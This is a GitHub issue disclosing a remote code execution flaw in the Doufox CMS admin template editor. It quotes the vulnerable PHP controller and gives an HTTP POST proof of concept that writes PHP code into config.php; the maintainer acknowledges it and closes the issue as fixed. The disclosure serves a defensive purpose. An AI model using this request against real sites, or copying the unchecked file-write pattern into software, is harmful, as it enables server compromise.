Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Doufox edit file hava a RCE Vulnerability #7

Closed
iami233 opened this issue Aug 19, 2022 · 1 comment
Closed

Doufox edit file hava a RCE Vulnerability #7

iami233 opened this issue Aug 19, 2022 · 1 comment
Labels
bug Something isn't working

Comments

@iami233
Copy link

iami233 commented Aug 19, 2022

Vulnerability file:

core\controllers\admin\TemplateController.php

    public function editAction()
    {
        $theme = $this->get('theme') ? urldecode($this->get('theme')) : '';
        if (!file_exists(THEME_PATH . DS . $theme)) {
            $this->show_message('该模板不存在!', 2, url('admin/template'));
        }
        $filename = urldecode($this->get('file'));
        $dir = $this->get('dir') ? urldecode($this->get('dir')) : '/';
        $dir = str_replace(DS . DS, DS, $dir);
        $filepath = THEME_PATH . DS . $theme . $dir . $filename;
        $cur_path = DS . THEME_DIR. DS . $theme . $dir . $filename;
        if (!is_file($filepath)) {
            $this->show_message($cur_path . '该文件不存在!', 2, url('admin/template/item', array('dir' => $dir)));
        }

        if ($this->isPostForm()) {
            file_put_contents($filepath, stripslashes($_POST['file_content']), LOCK_EX);
            $this->show_message('提交成功', 1);
        }
        if (urldecode(dirname($dir)) == '.') {
            $top_url = url('admin/template/item', array('theme' => $theme));
        } else {
            $top_url = url('admin/template/item', array('theme' => $theme, 'dir' => urldecode($dir . DS)));
        }
        $filecontent = htmlspecialchars(file_get_contents($filepath));
        include $this->views('admin/template/add');
    }

Although the edit file page does not have an edit button for the PHP file, we can edit the config.php file by constructing a URL

image

http://ip:port/index.php?s=admin&c=template&a=edit&theme=default&dir=/&file=config.php

image

image

POC

POST /index.php?s=admin&c=template&a=edit&theme=default&dir=/&file=config.php HTTP/1.1
Host: ip:port
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:PHPSESSID=86s25d8kqaptrner2r2iqrqrv7;
Connection: close

file_content=<?php+phpinfo();?>&submit=%E6%8F%90%E4%BA%A4

image

@jksdou jksdou added the bug Something isn't working label Oct 3, 2022
@jksdou
Copy link
Contributor

jksdou commented Oct 3, 2022

@iami233 Thank you for your feedback. We will deal with this problem in the next version.

@jksdou jksdou closed this as completed in 17b6005 Oct 5, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants